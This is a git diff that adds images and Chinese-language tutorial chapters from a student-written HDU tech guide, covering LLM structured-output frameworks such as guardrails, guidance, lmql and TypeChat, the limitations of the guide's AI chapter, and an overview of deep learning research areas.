diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing5.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing5.png
new file mode 100644
index 0000000..20984ad
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing5.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing6.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing6.png
new file mode 100644
index 0000000..f6679b2
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing6.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing7.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing7.png
new file mode 100644
index 0000000..1fafd95
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing7.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing8.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing8.png
new file mode 100644
index 0000000..7b35282
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing8.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing9.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing9.png
new file mode 100644
index 0000000..e9642e9
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing9.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/windows-single-user.jpeg b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/windows-single-user.jpeg
new file mode 100644
index 0000000..9af0d8e
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/windows-single-user.jpeg differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.10LLMAgent之结构化输出.md b/技术资源汇总(杭电支持版)/4.人工智能/4.10LLMAgent之结构化输出.md
new file mode 100644
index 0000000..4cf3a32
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/4.10LLMAgent之结构化输出.md
@@ -0,0 +1,262 @@
+# LLM Agent 之结构化输出
+
+author:Marlene
+
+*Last revised 2023/07/26*
+
+## 引言
+
+自去年年底以来，GPT 的迅速发展诞生了一系列大模型。出现了更新、更大、更强的 GPT-4。OpenAI 不断推出 GPT-4，ChatGPT Plugins，代码解释器，Function calling，图片处理等等。7 月的 WAIC 上，笔者也有幸见到了国内一众企业相继展示自家的大模型。在这段时间里，LLM 从最初的 PE 工程走向智能体交互。而笔者从最开始考虑 LLM 能不能多人协作，思考”一个专家完成所有任务好还是很多人分工完成好“，到各种论文层出不穷，到如今火热的 LLM Agent 开发模式。可以说，如果你从大学里随便问某个人都知道 GPT，甚至大部分都用过。
+
+好了，前言少叙。进入正题。众所周知，Agent 基本= LLM（大型语言模型）+ 记忆 + 规划技能 + 工具使用。
+
+想要使用工具，让 GPT 掌握如何使用工具，常见的方法是告知 GPT 工具（通常是一个可以调用的函数）的参数，让 GPT 生成这些参数即可。那么如何让 GPT 可靠的生成这些规定的参数呢？换一种说法，如何让 GPT 输出结构化的数据信息呢？
+
+## 原理及相关框架
+
+现如今大部分的结构化输出工具的原理都是：告诉 GPT 要输出一个怎么样的结构即可。没错~当然，为什么会出现这么多开发工具都用来解决这个问题，明明是一个简单的原理呢？
+
+```txt
+1. 通过 prompt 告知 LLM 我们所需要的返回格式，并进行生成。
+2. 通过一些规则来检查返回结果，如果不符合格式，生成相关错误信息。
+3. 将上一次的生成内容和检查的错误信息告知 LLM，进行下一次的修正生成。
+4. 重复 2-3 步骤，直到生成的内容完全符合我们的要求。
+```
+
+首先，关于怎样描述这样一个结构的 prompt 模板，众口难调。有些人认为结构就应该用自然语言描述，这样足够简单，上手难度足够低，方便快速迭代开发。有些人认为结构描述？JSON Schema 不就够了？有些人觉得 YAML 也可以。有些人觉得上面这些对于我的需求还是够不着啊，于是自己造了一个伪代码描述。
+其次，自动处理修正机制也可以做很多文章。还有许多对性能和开销的优化。
+下文就是关于一众框架的简单分析。希望会对选择困难症的你有所帮助。
+
+### **guardrails**
+
+guardrails 这个项目，就是将上述的步骤做了进一步的抽象与封装，提供更加 high level 的配置与 API 来完成整个过程。
+优点：
+
+1. 定义了一套 RAIL spec
+2. 更聚焦于错误信息
+
+```markdown
+<rail version="0.1">
+
+<output>
+    <object name="patient_info">
+        <string name="gender" description="Patient's gender" />
+        <integer name="age" format="valid-range: 0 100" />
+        <list
+            name="symptoms"
+            description="Symptoms that the patient is currently experiencing. Each symptom should be classified into a separate item in the list.">
+            <object>
+                <string name="symptom" description="Symptom that a patient is experiencing"/>
+                <string
+                    name="affected area"
+                    description="What part of the body the symptom is affecting"
+                    format="valid-choices: {['head', 'neck', 'chest']}"
+                    on-fail-valid-choices="reask"
+                />
+            </object>
+        </list>
+        <list name="current_meds" description="Medications the patient is currently taking and their response">
+            <object>
+                <string name="medication" description="Name of the medication the patient is taking" />
+                <string
+                    name="response"
+                    description="How the patient is responding to the medication"
+                />
+            </object>
+        </list>
+    </object>
+</output>
+
+<prompt>
+
+Given the following doctor's notes about a patient, please extract a dictionary that contains the patient's information.
+
+{{doctors_notes}}
+
+@complete_json_suffix_v2
+</prompt>
+</rail>
+```
+
+可以看到，guardrails 定义了一套类似 xml 的语言用于结构化输出，又结合了自然语言的 prompt。虽然比起常见的模板语言要更加“繁琐”，但可以包含的内容也可以更加完善。比如可以提供字段的描述信息，检查规范，一定程度上也能帮助 LLM 更好地理解需求，生成预期的结果。
+
+```markdown
+I was given the following JSON response, which had problems due to incorrect values.
+
+{
+  "patient_info": {
+    "symptoms": [
+      {
+        "affected area": {
+          "incorrect_value": "face & hair",
+          "error_message": "Value face & hair is not in choices ['head', 'neck', 'chest']."
+        }
+      },
+      {
+        "affected area": {
+          "incorrect_value": "beard, eyebrows & nares",
+          "error_message": "Value beard, eyebrows & nares is not in choices ['head', 'neck', 'chest']."
+        }
+      }
+    ]
+  }
+}
+
+Help me correct the incorrect values based on the given error messages.
+```
+
+后续 LLM 的返回可以仅针对这部分问题的修正，而不需要再重复生成整个 json。生成的新结果会由 guardrails 再自动填写回原来的位置，非常丝滑。除了 json 格式的检查外，RAIL spec 中还提供了通过脚本检查的扩展支持，可以用来检查更加复杂的内容，例如 Python 代码是否合法，结果中是否有敏感信息，甚至通过 LLM 再来检查生成的内容是否有害，做结果过滤等。
+
+### **NeMo-Guardrails**
+
+来自 Nvidia 的一个同名项目，其目标相比 guardrails 更有野心，想要确保 LLM 应用整体的可信度，无害性以及数据安全性等，而不仅仅只是输出的结构化检查和修复。因此其实现思路上也复杂不少，设计了一种专门的 Colang 语言，来支持更加通用多样的业务流，而不仅仅是生成 -> 检查 -> 修复。不过它的设计都是基于对话做的。实际开发应用可能不太合适。
+
+```markdown
+define user ask capabilities
+  "What can you do?"
+  "What can you help me with?"
+  "tell me what you can do"
+  "tell me about you"
+  "How can I use your help?"
+
+define flow
+  user ask capabilities
+  bot inform capabilities
+
+define bot inform capabilities
+  "I am an AI assistant which helps answer questions based on a given knowledge base. For this interaction, I can answer question based on the job report published by US Bureau of Labor Statistics."
+```
+
+从代码可以看出其结合了 python 和自然语言，方便相似度检索。
+其整体的运作流程如下：
+
+1. 根据用户输入识别用户意图。在这一步，系统会将用户的输入在 flow 定义的各种用户回复文本中做相似性查找，也就是上面文件中“What can you do?”这一连串内容。这些检索到的预设用户意图内容，结合其它信息如对话样例，最近聊天记录等，形成整体的 prompt，发给 LLM 来生成回复。最终再从回复中提取用户意图。
+2. 根据意图，判断下一步操作动作。这一步有两种做法，一是当前的状态能够匹配上预定义的 flow。例如用户就是提了一个 bot 能力的问题，那么就会匹配上面定义的 user ask capabilities，下一步动作自然就是 bot inform capabilities。如果没有匹配上，就要由 LLM 自己来决定下一步动作，这时候也会跟生成用户意图一样，对于 flow 定义做一个相似性查找，将相关信息发给 LLM 来做生成。
+3. 生成 bot 回复。如果上一步生成的 bot 回复意图已经有明确定义了（例如上面的 bot 能力的回复），那么就直接用预定义的回复内容来回复用户。如果没有，就跟生成用户意图一样，做意图的相似性查找，将相关信息给 LLM 来生成回复。注意到很多动态的问题例如 QA 场景，是很难预先定义好回复内容的，这里也支持对接知识库，同样是做 vector search 之后，将相关 context 信息发给 LLM 来生成具体回复。
+
+### guidance
+
+之前在 guardrails 中的做法是在 prompt 中给出说明和示范，希望 LLM 能够遵循指令来输出。但现实中往往会出现各种问题，例如额外带了一些其它的文字说明，或者生成的 json 格式不正确等，所以需要后续的 ReAsk 来进行修正。LangChain 里也提供了各种 output parser 来帮忙提取回复中的结构化信息部分，但也经常容易运行失败。
+
+在 guidance 中，也是通过“模板语言”来定义 LLM 的输出结构，以确保输出格式的正确性。
+
+```markdown
+# load a model locally (we use LLaMA here)
+guidance.llm = guidance.llms.Transformers("your_local_path/llama-7b", device=0)
+
+# we can pre-define valid option sets
+valid_weapons = ["sword", "axe", "mace", "spear", "bow", "crossbow"]
+
+# define the prompt
+program = guidance("""The following is a character profile for an RPG game in JSON format.
+json
+{
+    "description": "{{description}}",
+    "name": "{{gen 'name'}}",
+    "age": {{gen 'age' pattern='[0-9]+' stop=','}},
+    "armor": "{{#select 'armor'}}leather{{or}}chainmail{{or}}plate{{/select}}",
+    "weapon": "{{select 'weapon' options=valid_weapons}}",
+    "class": "{{gen 'class'}}",
+    "mantra": "{{gen 'mantra'}}",
+    "strength": {{gen 'strength' pattern='[0-9]+' stop=','}},
+    "items": [{{#geneach 'items' num_iterations=3}}
+        "{{gen 'this'}}",{{/geneach}}
+    ]
+}""")
+
+# execute the prompt
+program(description="A quick and nimble fighter.", valid_weapons=valid_weapons)
+```
+
+在之前传统的做法中，这一整个 json 都需要由 LLM 来生成。但是 json 的结构是我们预先定义的，例如有哪些字段，开闭的花括号等，其实都不需要 LLM 来生成。
+优点：
+
+1. 生成的 json 结构是保证合法且可控的，不会出现语法错误或者缺失/错误字段等。
+2. 通过 LLM 生成的 token 数量减少了，理论上可以提升生成速度。
+
+除了 prompt 模板，它还提供了：
+
+- 支持 hidden block，例如 LLM 的一些推理过程可能并不需要暴露给最终用户，就可以灵活利用这个特性来生成一些中间结果。
+- Generation caching，自动把已经生成过的结果缓存起来，提升速度。
+- 支持 HuggingFace 模型的 guidance acceleration，进一步提升生成速度。
+- Token healing，不看这个我还不知道 LLM 有这种问题……
+- Regex pattern guide，在模板的基础上进一步通过正则表达来限定生成的内容规范。
+
+从项目代码来看，还是有比较浓的“research 味道”的，可读性并不好。实际测试结果也比较翻车。
+
+### lmql
+
+在 guidance 的基础上，lmql 这个项目进一步把“prompt 模板”这个概念推进到了一种新的编程语言。从官网能看到给出的一系列示例。语法结构看起来有点像 SQL，但函数与缩进都是 Python 的风格。
+![](https://marlene-1254110372.cos.ap-shanghai.myqcloud.com/blog/%7B92E71406-7249-4345-894C-AC646F47D05A%7D.png)
+从支持的功能来看，相比 guidance 毫不逊色。例如各种限制条件，代码调用，各种 caching 加速，工具集成等基本都具备。这个框架的格式化输出是其次，其各种可控的输出及语言本身或许更值得关注。
+
+### TypeChat
+
+TypeChat 将 prompt 工程替换为 schema 工程：无需编写非结构化的自然语言 prompt 来描述所需输出的格式，而是编写 TS 类型定义。TypeChat 可以帮助 LLM 以 JSON 的形式响应，并且响应结果非常合理：例如用户要求将这句话「我可以要一份蓝莓松饼和一杯特级拿铁咖啡吗？」转化成 JSON 格式，TypeChat 响应结果如下：
+![](https://marlene-1254110372.cos.ap-shanghai.myqcloud.com/blog/%7BECFBBC78-BFE8-45d0-99EF-5E13E30E2A18%7D.png)
+其本质原理是把 interface 之类的 ts 代码作为 prompt 模板。因此它不仅可以对输出结果进行 ts 校验，甚至能够输入注释描述，不可谓非常方便 js 开发者。不过，近日 typechat 爆火，很多开发者企图尝试将 typechat 移植到 python，笔者认为这是缘木求鱼，因为其校验本身依赖的是 ts。笔者在开发过程中，将 typechat 融合到自己的库中，效果不错。但是它本身自带的 prompt 和笔者输入的 prompt 还是存在冲突，还是需要扣扣源码。
+
+### Langchain
+
+如果你关注了过去几个月中人工智能的爆炸式发展，那你大概率听说过 LangChain。简单来说，LangChain 是一个 Python 和 JavaScript 库，由 Harrison Chase 开发，用于连接 OpenAI 的 GPT API（后续已扩展到更多模型）以生成人工智能文本。
+
+langchain 具有特别多的结构化输出工具。例如使用 yaml 定义 Schema，输出结构化 JSON。使用 zodSchema 定义 Schema，输出结构化 JSON。使用 FunctionParameters 定义 Schema，输出结构化 JSON。
+
+但是笔者这里不打算介绍 langchain。究其原因，是笔者被 langchain 折磨不堪。明明可以几行代码写清楚的东西，langchain 可以各种封装，花了好几十行才写出来。更何况，笔者是用 ts 开发，开发时甚至偷不了任何懒，甚至其文档丝毫不友好。这几天，《机器之心》发布文章表示放弃 langchain。要想让 LangChain 做笔者想让它做的事，就必须花大力气破解它，这将造成大量的技术负担。因为使用人工智能本身就需要花费足够的脑力。LangChain 是为数不多的在大多数常用情况下都会增加开销的软件之一。所以笔者建议非必要，不使用 langchain。
+
+## LLM 对于结构化信息的理解
+
+LLM 的可控性、稳定性、事实性、安全性等问题是推进企业级应用中非常关键的问题，上面分享的这些项目都是在这方面做了很多探索，也有很多值得借鉴的地方。总体思路上来说，主要是：
+
+- 提供一套 prompt 模板定义，允许用户指定 LLM 生成的格式或内容主题。
+- 在模板基础上，也有不少项目进一步设计了相应的编程语言，让 LLM 与确定性程序的交互更加直观。
+- 提供各类 validator，保证生成内容符合预期，并且提供了自动处理/修正机制。
+- 更进一步，也可以在生成前进行干预，例如在 prompt 中给近似案例，修改模型 decode 时的概率分布等。
+- 其它在可控性基础上做的各种性能与开销的优化，例如缓存，减少 token 消耗量，对开源模型能力的挖掘等。
+
+即使我们不直接使用上述的项目做开发，也可以从中学习到很多有用的思路。当然也非常期待这个领域出现更多有意思的想法与研究，以及 prompt 与编程语言结合能否碰撞出更多的火花。
+
+同时笔者认为自动处理机制、自己设计的编程语言等等内容，随着时间发展，一定会层出不穷，不断迭代更新。笔者抛去这些时效性较弱的内容，从描述信息和位置信息两方面思考 peompt 模板该如何设计，当然只是浅浅的抛砖引玉一下。
+
+### 描述信息
+
+到底哪种方式更容易于 LLM 去理解？我们不谈框架的设计，只考虑 prompt 的设计。上述框架关于这方面有一些参考，例如有些直接拿 json 作为 prompt 模板，有些拿 xml 作为 prompt 模板，有些拿自己设计的语言作为 prompt，有些拿自然语言作为 prompt 模板。时至今日，选用哪种最适合 LLM 去理解格式化的信息，输出格式化的内容完全没有盖棺定论。甚至时至今日，格式化输出问题还是没有得到可靠稳定的解决，要不然笔者肯定不会介绍这么多框架实践了。
+
+笔者认为不管哪种方式，都可以从两个方面考量：更简单，更结构。如果想要在开发的时候更简单，或者在使用时更简单，选择 md、yaml 方式描述结构化信息更合适。如果想要更结构化的方式，选择 json、xml、ts，输出都能更有结构，甚至之后做结构校验都更方便。
+
+想要 LLM 结构化输出更加稳定和理想，笔者认为选择 prompt 模板时必须考虑每个字段是否有足够的辅助信息。例如 xml 描述时，每个标签都有一个描述属性描述这个标签时什么意思。
+
+#### 额外引申
+
+笔者之前在开发 LLM 应用时，也曾思考类似的问题。笔者需要将多模态的数据进行结构化的标注，方便 LLM 去理解。但是标注成什么样却是一个很大的难题。笔者选择的是 JSON。但是，关于里面许多内容的标注。笔者在众多方案中徘徊。在细节处深挖，如何设计一种既简单，又能表示各种结构复杂关系，还能够节约 token 的方案及其的难。
+> 关于后续如何解决，请容笔者卖个关子 sai~
+
+### 位置信息
+
+是否有人注意到 llm 对于关键信息在 prompt 中的位置会对结果产生影响呢？在设计 prompt 方面，人们通常建议为语言模型提供详尽的任务描述和背景信息。近期的一些语言模型有能力输入较长的上下文，但它究竟能多好地利用更长的上下文？这一点却相对少有人知。近日，有学者研究发现如果上下文太长，语言模型会更关注其中的前后部分，中间部分却几乎被略过不看，导致模型难以找到放在输入上下文中部的相关信息。下文部分是该论文一些核心内容：
+![](https://marlene-1254110372.cos.ap-shanghai.myqcloud.com/blog/%7B59E03114-A066-4394-B1F0-B09357F76B39%7D.png)
+这是由其本身训练和结构设计有关的，但却对于我们开发有着莫大的帮助和指导意义。
+![](https://marlene-1254110372.cos.ap-shanghai.myqcloud.com/blog/%7B9EA47A4E-3EF3-4800-99F4-109EE713746B%7D.png)
+相比之下，在多文档问答任务上，查询感知型上下文化的影响很小。特别指出，当相关信息位于输入上下文的最开始时，它可以提高性能，但在其他设置中会稍微降低性能。借此，我们可以认为，将重要的信息放在开头，结尾放置结构化模板，或许是一种优质选择。
+
+那么如果真的为其提供这么多 token，那会真的有用吗？这个问题的答案是：由下游任务决定。因为这取决于所添加上下文的边际价值以及模型有效使用长输入上下文的能力。所以如果能有效地对检索文档排序（让相关信息与输入上下文的起始处更近）或对已排序的列表进行截断处理（必要时返回更少的文档），那么也许可以提升基于语言模型的阅读器使用检索上下文的能力。
+
+## 题外话
+
+之前，妙鸭相机突然爆火。其只需 9.9 即可生成同款数字分身，效果拔群。但是很多人发现，其生成的内容极其容易造成肖像权侵犯，这显然是有问题的。更有甚至的是，用户发现妙鸭相机的用户协议存在问题。根据该应用最初版本的用户服务协议，用户需授权妙鸭相机在全世界（包括元宇宙等虚拟空间）范围内享有永久的、不可撤销的、可转让的、可转授权的、免费的和非独家的许可，使得妙鸭相机可以任何形式、任何媒体或技术（无论现在已知或以后开发）使用用户的内容。对于上述内容，妙鸭相机称系“为了使我方能够提供、确保和改进本服务（包括但不限于使用 AI 生成内容作为再训练数据等）”。
+
+一句话理解，就是你的肖像它随便用，与你无关。
+
+这不禁让我联想到一部非常发人深省的剧作：《黑镜》。它的第六季第一集讲述的同样是隐私的问题。该集中，主人公的生活隐私由于同意了用户协议，被无时无刻搜集。然后当天晚上就发现流媒体电视上居然出现了跟她同名的电视剧，内容与它当天的生活一模一样，台词甚至更加夸张。于是她的不方便公之于众的生活变得一塌涂地，但她甚至没有办法打官司，因为肯定会输。更令人深省的是，电视剧的主人公是 AI 生成的视频，其肖像确是根据现实存在的明星生成的。那位明星也无法对她的肖像有任何权利。这样一个荒诞的故事，但是仔细想想，却又非常可能发生。
+
+如今的社会出现了各种大模型。大模型的发展必定需要大数据的支撑。企业为了盈利必定会想方设法的搜集数据，然后肆意使用，转卖。而很多用户对此不自知，更有甚至是非常乐意。例如抖音、B 站，当你对其交互时，你希望它推荐更适合你的视频，它也在搜集你的数据，这是明知且主动的。
+
+隐私的掠夺是无声的。你认为你的一下点击是没啥价值的隐私数据，殊不知这正中了资本家的下怀。几年前，我也是这样的。高中的大门出现了闸机，可以刷脸进校园。我当时以为这需要像手机解锁一样需要扫描人脸 ID。结果发现，我可以直接进去，闸机上甚至会出现我的照片。我仔细看了看，发现是我入学的证件照。原来一张照片就能刷脸进校园。原来就连学校也可以不经同学同意，将照片用作其他用途。那更何况其他的呢。
+我想，未来，这样的隐私问题会越来越多。
+
+## 参考
+
+<https://mp.weixin.qq.com/s?__biz=MzA3MzI4MjgzMw==&mid=2650885029&idx=4&sn=ac01576a8957b41529dd3c877d262d5e&chksm=84e48fdbb39306cd8979a4fa7f7da14a9428dc28ccc47880d668ef6293b1a8b7b0964569ec36&mpshare=1&scene=23&srcid=0725w9FPsVnOOzkPGPB7lH8h&sharer_sharetime=1690303766527&sharer_shareid=d2396b329b12f49d34967e2b183540dd#rd>
+<https://mp.weixin.qq.com/s/BngY2WgCcpTOlvdyBNJxqA>
+<https://microsoft.github.io/TypeChat/>
+<https://mp.weixin.qq.com/s?__biz=MzA3MzI4MjgzMw==&mid=2650885029&idx=4&sn=ac01576a8957b41529dd3c877d262d5e&chksm=84e48fdbb39306cd8979a4fa7f7da14a9428dc28ccc47880d668ef6293b1a8b7b0964569ec36&mpshare=1&scene=23&srcid=0725w9FPsVnOOzkPGPB7lH8h&sharer_sharetime=1690303766527&sharer_shareid=d2396b329b12f49d34967e2b183540dd#rd>
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.11本章节内容的局限性.md b/技术资源汇总(杭电支持版)/4.人工智能/4.11本章节内容的局限性.md
new file mode 100644
index 0000000..8c109e0
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/4.11本章节内容的局限性.md
@@ -0,0 +1,66 @@
+# 本章节内容的局限性
+
+作为一个本科生和部分研究生为主书写的教程，必须承认的是，我们在本章节内容，存在非常多的局限性，而本节内容，就是对目前存在的局限性和为什么还没有立马改进做的一定解释。
+
+## 缺少一些前沿的内容
+
+让我们时时刻刻都跟进最前沿的内容并且进行输出是相当困难的，当然我们也欢迎各位得贡献
+
+## 少有机器学习的一些算法
+
+机器学习领域有非常庞大的知识体系和一代人十几年的积累。
+
+无数伟大的科学家究其一生的研究和探索它，但是你发现本章内容少有相关内容，还是以深度学习为主？为什么？
+
+## 原因一：时代的浪潮
+
+近乎全民深度学习的浪潮下，机器学习的知识被科研界一而再再而三的抛掷脑后，大家争先恐后的刷点，并使用深度学习的解决问题，因此深度学习领域的知识材料得到了井喷式的增长，而少有人愿意投入非常长的时间去研究机器学习的每一条数学公式的背后机理。
+
+也正因如此，诸位花费自己的大学四年时光去钻研几条算法兴许是有意义的，但是对你拓展视野增长知识面的帮助没那么大，也没有办法帮助你引导到一些实操项目的工作中去，因此除了真正热爱的那一批人以外，过多的投入时间去学机器学习知识可能会让你感觉患得患失最后半途而废。
+
+## 原因二：算法的性质
+
+算法的性质就是严谨，一丝不苟的推导。因此，他涉及了大量的数学方程以及严谨的一步一步的推导过程。在学习的过程中，没有捷径，也没有更快的方法，你只能踏踏实实一步一步的进行积累。
+
+而本教程的性质更偏向于导学，当你决心在机器学习算法深耕的时候，你已经脱离了需要导学的范畴更偏向于领域内容钻研，这是一项伟大的但是在当今时代略有吃力不讨好的工作，我真心祝愿你能乐在其中~感受到学习的快乐。
+
+## 原因三：缺乏应用空间
+
+ZZM 曾经尝试过投入大量时间去钻研数学以及机器学习相关的算法，但是发现了一个很残酷的现实就是，我们欠缺的积累和知识不是靠猛然突击可以弥补的，自己学都很吃力了，写出来不是误人子弟么 hhhh。
+
+同时，尽管知识的内容让人很快乐，但是如果你不经常使用，或者实打实的拿一张白纸从头到尾推演一遍的话，你忘记的速度是非常快的，因此我们写下他，你们看一遍甚至说认真的阅览一遍，也不会留下太多内容。
+
+## 如果真的感兴趣这方面内容呢
+
+如果你阅览了本章节的数学相关知识和内容以及拓展感觉非常感兴趣并且毫无压力的话，我推荐你尝试去啃一啃大家公认的困难的书籍，比如说著名的花书，互联网上，社区内也有大量的辅助材料来帮助你更进一步的入门
+
+## 科研导向明显
+
+整篇教程大范围的在教怎么从科研角度去理解一些知识，感觉和工业上的逻有不符之处。
+
+确实如此，工业界的逻辑和科研界的逻辑是截然不同的。
+
+工业界的逻辑更偏向于低成本，高产出。而科研更偏向于你在一个好故事的背景下做了如何优雅的提升。
+
+粗鲁地说就是工业更注重你这个项目，如果现在有一百万人用，能不能把百分之九十正确率的这个东西用好，科研更偏向于九十五到九十九。
+
+我们自身并没有接触过太多的工业项目，也无法深入大厂去揭示他的算法，自然就算写东西写出来也不具备任何说服力。
+
+因此如果你对这方面感兴趣，可能你需要别的途径去获取更多的思考和资源了。
+
+## 繁杂的知识内容
+
+这点非常抱歉，AI 领域的知识本身就是网状的，复杂的，甚至是互相引用的，这点会导致不可避免的内容变得冗长。
+
+可能需要你花费大量的时间建立自己的知识框架和逻辑体系
+
+而不是别人强行灌输给你的
+
+## 还有更多？？？
+
+联系 ZZM，我努力改
+::: tip 邮箱
+<1264517821@qq.com>
+:::
+
+<img src="https://cdn.xyxsw.site/boxcnfYSoVgoERduiWP0jWNWMxf.jpg" width=200>
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.1前言.md b/技术资源汇总(杭电支持版)/4.人工智能/4.1前言.md
new file mode 100644
index 0000000..a4de902
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/4.1前言.md
@@ -0,0 +1,99 @@
+# 对 AI 大致方向的概述
+
+## 前言
+
+在这个时代，相关内容是非常泛滥的，我们在本章内容中，大致的写一些目前比较有名的方向以及它的简介（也许会比 wiki 和百度有趣一点？）
+
+## 深度学习 的大致方向分类
+
+本模块会粗略地介绍目前审读学习的研究与应用领域，在这里提前说明：笔者也只是一名普通的杭电学生，视野与认知有限，某些领域我们了解较多就会介绍地更加详细，某些领域了解较少或笔者中无人从事相关研究，就难免会简略介绍甚至有所偏颇，欢迎大家的指正。
+
+### CV(计算机视觉)
+
+计算机视觉旨在**用计算机模拟人类处理图片信息的能力**，就比如这里有一张图片——手写数字 9
+
+![](https://cdn.xyxsw.site/boxcnvQiaAx6WgPx64s8fBklVwh.png)
+
+对我们人类而言，能够很轻松地知道这张图片中包含的信息（数字 9），而对计算机来说这只是一堆像素。计算机视觉的任务就是让计算机能够从这堆像素中得到‘数字 9’这个信息。
+
+相信你通过上面简单的介绍应该能够了解到计算机视觉是在干嘛了，接下来我会举几个相对复杂的例子来让大家了解一下目前的 cv 是在做怎样的研究：
+
+::: warning 🐱 **图像分割**是在图片中对物体分类，并且把它们所对应的位置标示出来。下图就是把人的五官，面部皮肤和头发分割出来，效 (小) 果 (丑) 图如下：
+:::
+
+<table>
+    <tr>
+        <td><img src=https://cdn.xyxsw.site/boxcnxn5GlJZmsrMV5qKNwMlDPc.jpg width=175></td>
+        <td><img src=https://cdn.xyxsw.site/boxcnokdWGegr2XCi1vfg0ZZiWg.png width=200></td>
+        <td><img src=https://cdn.xyxsw.site/boxcn2o9ilOZg6jI6ssTYWhoeme.png width=200></td>
+    </tr>
+</table>
+
+::: warning 🐱 **图像生成**相信大家一定不陌生，NovalAI 在 2022 年火的一塌糊涂，我觉得不需要我过多赘述，对它 (Diffusion model) 的改进工作也是层出不穷，这里就放一张由可控姿势网络 (ControlNet) 生成的图片吧：
+:::
+
+![](https://cdn.xyxsw.site/boxcnUjnRociXua1yKj6dmU1A3c.png)
+
+::: warning 🐱 **三维重建**也是很多研究者关注的方向，指的是传入对同一物体不同视角的照片，来生成 3D 建模的任务。这方面比图像处理更加前沿并且难度更大。具体见[4.6.5.4 神经辐射场 (NeRF)](4.6.5.4%E7%A5%9E%E7%BB%8F%E8%BE%90%E5%B0%84%E5%9C%BA(NeRF).md) 章节。
+:::
+
+如果对计算机视觉有兴趣，可以通过以下路线进行学习：深度学习快速入门—> 经典网络。本块内容的主要撰写者之一**SRT 社团**多数成员主要从事 CV 方向研究，欢迎与我们交流。
+
+### NLP(自然语言处理)
+
+这就更好理解了，让计算机能够像人类一样，理解文本中的“真正含义”。在计算机眼中，文本就是单纯的字符串，NLP 的工作就是把字符转换为计算机可理解的数据。举个例子，ChatGPT(或者 New Bing) 都是 NLP 的成果。在过去，NLP 领域被细分为了多个小任务，比如文本情感分析、关键段落提取等。而 ChatGPT 的出现可以说是集几乎所有小任务于大成，接下来 NLP 方向的工作会向 ChatGPT 的方向靠近。
+
+<table>
+    <tr>
+        <td><img src=https://cdn.xyxsw.site/boxcnyh6pakAkcxCKq6pLylSdef.png width=580></td>
+        <td><img src=https://cdn.xyxsw.site/boxcnwWnoEDulgWdqGkY0WeYogc.png width=200></td>
+    </tr>
+</table>
+
+### 多模态 (跨越模态的处理)
+
+模态，可以简单理解为数据形式，比如图片是一种模态，文本是一种模态，声音是一种模态，等等……
+
+而多模态就是让计算机能够将不同模态的信息相对应，一种常用的方法就是让计算机把图片的内容和文本的内容理解为相同的语义（在这个领域一般用一个较长的向量来表示语义）。
+
+也就是说我**传入一张狗子的照片经过模型得到的向量**与**DOG 这个单词经过模型得到的向量**相近。
+
+具体的任务比如说**图片问答**，传入一张图片，问 AI 这张图片里面有几只猫猫，它们是什么颜色，它告诉我有一只猫猫，是橙色的：
+
+![](https://cdn.xyxsw.site/boxcnrMvM1THshjXXOuh8WXi2zr.jpg)
+
+### 对比学习
+
+因为传统 AI 训练一般都需要数据集标注，比如说图片分割数据集需要人工在数万张图片上抠出具体位置，才能进行训练，这样的人力成本是巨大的，而且难以得到更多数据。因此，对比学习应运而生，这是一种不需要进行标注或者只需要少量标注的训练方式
+
+### 强化学习
+
+强调模型如何依据环境（比如扫地机器人在学习家里的陈设，这时陈设就是环境）的变化而改进，以取得最大的收益（比如游戏得到最高分）。
+
+强化学习是除了监督学习和非监督学习之外的第三种基本的机器学习方法。与监督学习不同的是，强化学习不需要带标签的输入输出对，同时也无需对非最优解的精确地纠正。其关注点在于寻找探索（对未知领域的）和利用（对已有知识的）的平衡。 -------wiki
+
+强化学习主要理论来源于心理学中的动物学习和最优控制的控制理论。说的通俗点，强化学习就是操控智能体与环境交互、去不断试错，在这个过程中进行学习。因此，强化学习被普遍地应用于游戏、资源优化分配、机器人等领域。强化学习本身已经是个老东西了，但是和深度学习结合之后焕发出了第二春——深度强化学习（DRL）。
+
+深度强化学习最初来源是 2013 年谷歌 DeepMind 团队发表的《Playing Atari with Deep Reinforcement Learning》一文，正式提出 Deep Q-network（DQN）算法。在这篇论文中，DeepMind 团队训练智能体 Agent 玩雅达利游戏，并取得了惊人的成绩。事实上，深度强化学习最为人熟知的成就是 AlphaGO Zero，它没有使用任何人类棋谱进行训练，训练了三天的成就就已经超过了人类几千年的经验积累<del>导致柯洁道心破碎</del>。
+
+## 交叉学科&经典机器学习算法
+
+交叉学科巨大的难度在于你往往需要掌握多个学科以及其相对应的知识。
+
+举个例子：如果你想要做出一个可以识别病人是否得了某种疾病，现在你得到了一批数据，你首先得自己可以标注出或者找到这个数据中，哪些是有问题的，并且可以指明问题在哪，如果你想分出更具体的，比如具体哪里有问题，那你可能甚至需要熟悉他并且把他标注出来。
+
